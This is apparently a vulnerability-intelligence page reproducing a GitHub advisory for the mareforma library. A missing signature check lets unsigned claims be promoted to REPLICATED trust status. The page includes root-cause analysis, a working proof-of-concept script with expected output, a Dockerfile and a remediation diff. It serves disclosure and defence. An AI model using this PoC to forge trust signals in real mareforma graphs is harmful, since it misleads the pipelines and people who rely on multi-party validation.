llamaCVEVulnerability Intelligence
/
Advisory · GitHub · PyPI · mareforma

GHSA-8776-QF3H-26R3

Mareforma: Unsigned Claims Can Be Promoted to REPLICATED via Missing Signature Enforcement in Convergence Path

Parche disponible
Descargar PNG JSON
CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión0.3.7
Exposición15 hDesde la divulgación, 19 nov 2026, 11:07 a. m.
Detección12 minDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada +1
11:07 a. m.
02:16 a. m.
11:07 a. m.
02:54 p. m.
06:41 p. m.
10:29 p. m.
02:16 a. m.
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8776-QF3H-26R3 divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Summary

`mareforma` 0.3.3 contains a critical integrity flaw in the REPLICATED convergence logic (`_maybe_update_replicated_unlocked()` in `mareforma/db/core.py:1300-1319`). The peer-selection SQL query that determines whether two independent claims "agree" on the same anchor does not verify that either claim carries a valid cryptographic signature from an enrolled validator key. Because `rekor_enabled=False` is the default and automatically sets `transparency_logged=1` at insert time, every claim — signed or not — immediately satisfies the convergence precondition. An attacker with no Mareforma key can write an unsigned claim to a shared graph, cause it to converge with a legitimate signed peer claim, and have it promoted to `REPLICATED` status. The forged `REPLICATED` row is then returned by the default trust query (`graph.query(min_support="REPLICATED")`), allowing the attacker to inject false trust signals into any downstream consumer relying on `REPLICATED` as a multi-party endorsement guarantee.

Details

Root cause — `mareforma/db/core.py:1300-1319`

The convergence function `_maybe_update_replicated_unlocked()` selects peer claims using a SQL query that filters on `status`, `unresolved`, `transparency_logged`, and `artifact_hash`, but contains no predicate on `signature_bundle` or enrolled-key identity:

# mareforma/db/core.py:1300-1319
rows = conn.execute(
    f"""
    SELECT DISTINCT c.claim_id, c.generated_by
    FROM claims c, json_each(c.supports_json) j
    WHERE j.value IN ({placeholders})
      AND c.claim_id != ?
      AND c.generated_by != ?
      AND c.support_level != 'ESTABLISHED'
      AND c.status = 'open'
      AND c.unresolved = 0
      AND c.transparency_logged = 1
      AND (
          c.artifact_hash IS NULL
          OR ? IS NULL
          OR c.artifact_hash = ?
      )
    """,

Once peer rows are collected, the sink at `core.py:1324-1334` promotes all matching claim IDs — including the attacker's — to `REPLICATED` without any additional validation.

Why the preconditions are trivially satisfied

  1. `transparency_logged = 1` is set automatically. When `rekor_enabled=False` (the library default), `core.py:1061` sets `transparency_logged = 1` immediately after insert. There is no Rekor step, so every claim becomes convergence-eligible the moment it is written.
  2. `require_signed=False` is the default. `mareforma/__init__.py:41` defaults `require_signed` to `False`. When the attacker opens the graph with a non-existent key path, `__init__.py:132-138` silently sets `signer = None`, enabling unsigned claim insertion.
  3. `assert_claim()` performs no signature gate. `_graph.py:284-291` only validates DOI resolution on the `supports` list before forwarding attacker-controlled fields to `_db.add_claim()` (`_graph.py:373-380`).

Why the forged claim surfaces in trust queries

The default query path at `core.py:3647-3650` filters out only `PRELIMINARY` claims whose generator is not enrolled. Claims at `REPLICATED` status are returned unconditionally, so the unsigned forged row is indistinguishable from a legitimately converged row in any downstream consumer.

The helper that should have been called

`core.py:3661-3669` contains `_extract_signature_bundle_keyid()`, which can extract the key ID from a `signature_bundle`. This helper exists but is never invoked on the convergence path, indicating the validation was inadvertently omitted rather than a design decision.

Complete data flow (source → sink)

| Step | Location | Description |
|------|----------|-------------|
| 1 | `cli.py:700-739` | CLI accepts arbitrary `TEXT`, `--supports`, `--generated-by`; lines 720-723 explicitly permit unsigned graph mode |
| 2 | `__init__.py:128-138` | Missing key file → `signer = None` (no error raised) |
| 3 | `_graph.py:284-291` | `assert_claim()` forwards user-controlled `supports` after DOI check only |
| 4 | `_graph.py:373-380` | Calls `_db.add_claim()` with attacker-controlled claim fields |
| 5 | `db/core.py:1208-1214` | Post-insert convergence triggered when `unresolved == False` and `transparency_logged == 1` |
| 6 | `db/core.py:1300-1319` | Peer-selection SQL — no `signature_bundle` or enrolled-key check (vulnerable sink) |
| 7 | `db/core.py:1324-1334` | Updates peer and attacker claims to `REPLICATED` |
| 8 | `db/core.py:3647-3650` | Default query returns `REPLICATED` rows without signature validation |

PoC

Prerequisites

python3 -m venv /tmp/mareforma-poc
/tmp/mareforma-poc/bin/pip install mareforma==0.3.3

Or run the fully self-contained Docker image:

# Build (from the repository root, with the local repo mounted under ./repo)
docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .

# Run (no network required)
docker run --rm --network none mareforma-vuln001

Step-by-step attack

#!/usr/bin/env python3
from pathlib import Path
from tempfile import TemporaryDirectory

import mareforma
from mareforma import signing

with TemporaryDirectory() as td:
    root = Path(td)
    key_path = root / "root-key.pem"

    # Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
    signing.bootstrap_key(key_path)
    with mareforma.open(root, key_path=key_path) as g:
        anchor = g.assert_claim(
            "established anchor",
            classification="DERIVED",
            generated_by="seed/root",
            seed=True,
        )
        # Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
        honest = g.assert_claim(
            "same result",
            supports=[anchor],
            generated_by="honest-agent",
        )

    # Step 3: Attacker opens the same graph with a non-existent key path.
    #         __init__.py:132-138 silently sets signer=None — unsigned mode.
    attacker_key = root / "missing-attacker-key.pem"  # does not exist
    with mareforma.open(root, key_path=attacker_key) as g:
        # Step 4: Attacker inserts an unsigned claim supporting the same anchor.
        #         Convergence fires in _maybe_update_replicated_unlocked():
        #           - Two claims share the same ESTABLISHED anchor
        #           - Different generated_by values
        #           - Both have transparency_logged=1 (Rekor disabled by default)
        #           - No signature or enrollment check performed
        attack = g.assert_claim(
            "forged convergence",
            supports=[anchor],
            generated_by="attacker-agent",
        )

        attack_info = g.get_claim(attack)
        print(attack_info["support_level"])          # → REPLICATED
        print(attack_info["signature_bundle"] is None)  # → True (unsigned)

        # Step 5: The unsigned REPLICATED claim appears in the default trust query.
        results = g.query(min_support="REPLICATED")
        for r in results:
            print((r["text"], r["support_level"],
                   r["signature_bundle"] is None, r["generator_enrolled"]))

Expected output

REPLICATED
True
('established anchor', 'ESTABLISHED', False, True)
('forged convergence', 'REPLICATED', True, False)   # ← unsigned, unenrolled
('same result', 'REPLICATED', False, True)

The forged claim (`signature_bundle=None`, `generator_enrolled=False`) is promoted to `REPLICATED` and returned alongside legitimately signed claims.

Remediation

The convergence path must require both the incoming claim and every selected peer claim to carry a valid `signature_bundle` signed by a distinct enrolled validator key:

--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
-    new_status_row = conn.execute(
-        "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+    new_status_row = conn.execute(
+        "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+        (new_claim_id,),
     ).fetchone()
     if new_status_row is None or new_status_row["status"] != "open":
         return
+    from mareforma import validators as _validators
+    new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+    if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+        return
@@
-        SELECT DISTINCT c.claim_id, c.generated_by
+        SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
-    if not rows:
+    peer_ids = []
+    for row in rows:
+        peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+        if peer_keyid is None or peer_keyid == new_keyid:
+            continue
+        if not _validators.is_enrolled(conn, peer_keyid):
+            continue
+        peer_ids.append(row["claim_id"])
+
+    if not peer_ids:
         return
 
-    peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+    peer_ids = peer_ids + [new_claim_id]
Impact

This is an integrity bypass vulnerability (CWE-347: Improper Verification of Cryptographic Signature). `REPLICATED` is mareforma's primary multi-party trust signal, intended to convey that at least two independent, enrolled validators have independently observed and signed the same result. By silently bypassing the signature and enrollment checks in the convergence path, the library allows any local agent — with no cryptographic credentials — to forge this trust signal.

Who is impacted: Any user or system that queries a mareforma graph with `min_support="REPLICATED"` and treats the result as evidence of multi-party validation. This includes automated pipelines, audit dashboards, policy engines, or downstream consumers that rely on `REPLICATED` status to gate trust decisions (e.g., accepting a dataset, approving a model artifact, or publishing a result).

Because the forged claim is indistinguishable from a legitimately converged claim in query results, consumers cannot detect the attack without out-of-band inspection of `signature_bundle` and `generator_enrolled` fields — fields that the library's default query interface does not surface prominently.

The vulnerability is exploitable in the default configuration: `require_signed=False`, `rekor_enabled=False`. The attack requires only local write access to a shared graph database (e.g., a shared filesystem or writable network mount) and no Mareforma key.

Reproduction artifacts
`Dockerfile`
FROM python:3.12-slim

LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)"
LABEL version="0.3.3"

WORKDIR /app

# Copy the local repository and install from source
COPY repo /app/repo
RUN pip install --no-cache-dir /app/repo

# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py

CMD ["python3", "/app/poc.py"]
`poc.py`
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement
CWE-347: Improper Verification of Cryptographic Signature
CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Root cause:
  _maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects
  peer claims for convergence without checking signature_bundle or enrolled-key
  identity. When rekor_enabled=False (the default), transparency_logged is set
  to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for
  the convergence query. An attacker with no key can therefore write an unsigned
  claim that converges with a legitimate signed peer claim and is promoted to
  REPLICATED status. The forged REPLICATED row is then returned by the default
  query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.

Attack steps:
  1. Honest root agent bootstraps a key; auto-enrolls as root validator on first
     graph open; asserts an ESTABLISHED seed anchor claim.
  2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.
  3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not
     exist → signer=None per __init__.py:132-138).
  4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.
  5. Convergence fires: two claims, same ESTABLISHED anchor, different
     generated_by, both have transparency_logged=1 (Rekor disabled).
  6. Both claims are promoted to REPLICATED. No signature check is performed.
  7. graph.query(min_support="REPLICATED") returns the unsigned forged claim.

Expected evidence (deterministic exit code 0):
  - attack claim support_level == "REPLICATED"
  - attack claim signature_bundle is None  (unsigned)
  - attack claim generator_enrolled == False
  - forged unsigned REPLICATED claim appears in query results
"""

import sys
from pathlib import Path
from tempfile import TemporaryDirectory

import mareforma
from mareforma import signing


SEPARATOR = "-" * 70


def banner(msg: str) -> None:
    print(f"\n{SEPARATOR}")
    print(f"  {msg}")
    print(SEPARATOR)


def main() -> int:
    print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)")
    print(f"mareforma version: {mareforma.__version__}")

    with TemporaryDirectory() as td:
        root = Path(td)
        key_path = root / "root-key.pem"

        # ------------------------------------------------------------------
        # Step 1: Bootstrap a key for the legitimate root agent.
        #         On first graph open, this key auto-enrolls as the root
        #         validator, which is required for seed=True.
        # ------------------------------------------------------------------
        banner("Step 1: Bootstrap signing key for honest root agent")
        signing.bootstrap_key(key_path)
        print(f"  Key path : {key_path}")
        print(f"  Exists   : {key_path.exists()}")

        # ------------------------------------------------------------------
        # Step 2: Honest root agent creates an ESTABLISHED anchor.
        #         Uses seed=True, which requires an enrolled validator.
        #         The first open() with a fresh key auto-enrolls it.
        # ------------------------------------------------------------------
        banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim")
        with mareforma.open(root, key_path=key_path) as g:
            anchor = g.assert_claim(
                "established anchor",
                classification="DERIVED",
                generated_by="seed/root",
                seed=True,
            )
            anchor_info = g.get_claim(anchor)
            print(f"  anchor claim_id     : {anchor}")
            print(f"  anchor support_level: {anchor_info['support_level']}")
            assert anchor_info["support_level"] == "ESTABLISHED", (
                f"Unexpected anchor level: {anchor_info['support_level']}"
            )

            # Honest agent adds a signed peer claim supporting the anchor.
            honest = g.assert_claim(
                "same result",
                supports=[anchor],
                generated_by="honest-agent",
            )
            honest_info = g.get_claim(honest)
            print(f"  honest claim_id     : {honest}")
            print(f"  honest support_level: {honest_info['support_level']}")
            print(f"  honest signed       : {honest_info['signature_bundle'] is not None}")

        # ------------------------------------------------------------------
        # Step 3: Attacker opens the graph with a non-existent key.
        #         __init__.py:132-138: missing file → signer=None (unsigned mode).
        # ------------------------------------------------------------------
        banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode")
        attacker_key = root / "missing-attacker-key.pem"
        print(f"  Attacker key path: {attacker_key}")
        print(f"  Attacker key exists: {attacker_key.exists()}  (intentionally absent)")

        with mareforma.open(root, key_path=attacker_key) as g:
            # Step 4: Attacker asserts an unsigned claim with the same anchor.
            #         Convergence logic fires: two claims, same ESTABLISHED
            #         anchor, different generated_by, both transparency_logged=1.
            banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence")
            attack = g.assert_claim(
                "forged convergence",
                supports=[anchor],
                generated_by="attacker-agent",
            )

            attack_info = g.get_claim(attack)
            attack_support_level = attack_info["support_level"]
            attack_unsigned = attack_info["signature_bundle"] is None
            attack_enrolled = attack_info.get("generator_enrolled", False)

            print(f"  attack claim_id       : {attack}")
            print(f"  attack support_level  : {attack_support_level}")
            print(f"  attack unsigned       : {attack_unsigned}  (signature_bundle is None)")
            print(f"  attack enrolled       : {attack_enrolled}")

            # Step 5: Verify the unsigned REPLICATED claim appears in the
            #         default query that consumers rely on for trust decisions.
            banner("Step 5: Query min_support='REPLICATED' — should include forged claim")
            results = g.query(min_support="REPLICATED")
            print(f"  Total REPLICATED results: {len(results)}")
            forged_in_results = False
            for r in results:
                is_forged = (
                    r["signature_bundle"] is None
                    and r.get("generator_enrolled") is False
                    and r["support_level"] == "REPLICATED"
                )
                marker = "  [FORGED]" if is_forged else "         "
                print(
                    f"{marker} text={r['text']!r:30s} "
                    f"level={r['support_level']:12s} "
                    f"unsigned={r['signature_bundle'] is None!s:5s} "
                    f"enrolled={r.get('generator_enrolled', '?')}"
                )
                if is_forged:
                    forged_in_results = True

        # ------------------------------------------------------------------
        # Verdict
        # ------------------------------------------------------------------
        banner("Verdict")
        conditions = {
            "attack claim support_level == REPLICATED": attack_support_level == "REPLICATED",
            "attack claim is UNSIGNED (signature_bundle is None)": attack_unsigned,
            "attack generator_enrolled == False": attack_enrolled is False,
            "forged REPLICATED claim visible in query results": forged_in_results,
        }
        all_pass = True
        for desc, result in conditions.items():
            status = "PASS" if result else "FAIL"
            print(f"  [{status}] {desc}")
            if not result:
                all_pass = False

        if all_pass:
            print(
                "\n  [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n"
                "  An attacker without any key can forge graph trust.\n"
                "  The convergence path (core.py:1300-1319) does not check\n"
                "  signature_bundle or enrolled-key identity."
            )
            return 0
        else:
            print(
                "\n  [NOT TRIGGERED] One or more conditions failed.\n"
                "  Vulnerability may have been patched or env differs."
            )
            return 1


if __name__ == "__main__":
    sys.exit(main())

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
mareforma≥ 0.3.0 < 0.3.7
0.3.0
0.3.7
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
PyPImareforma
Corregida 0.3.7 — —
Versiones corregidas0.3.7
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-71535
Otrahttps://github.com/mareforma/mareforma/security/advisories/GHSA-8776-qf3h-26r3
Otrahttps://github.com/mareforma/mareforma/pull/18
Otrahttps://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e
Otrahttps://github.com/mareforma/mareforma
Otrahttps://github.com/mareforma/mareforma/releases/tag/v0.3.7

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.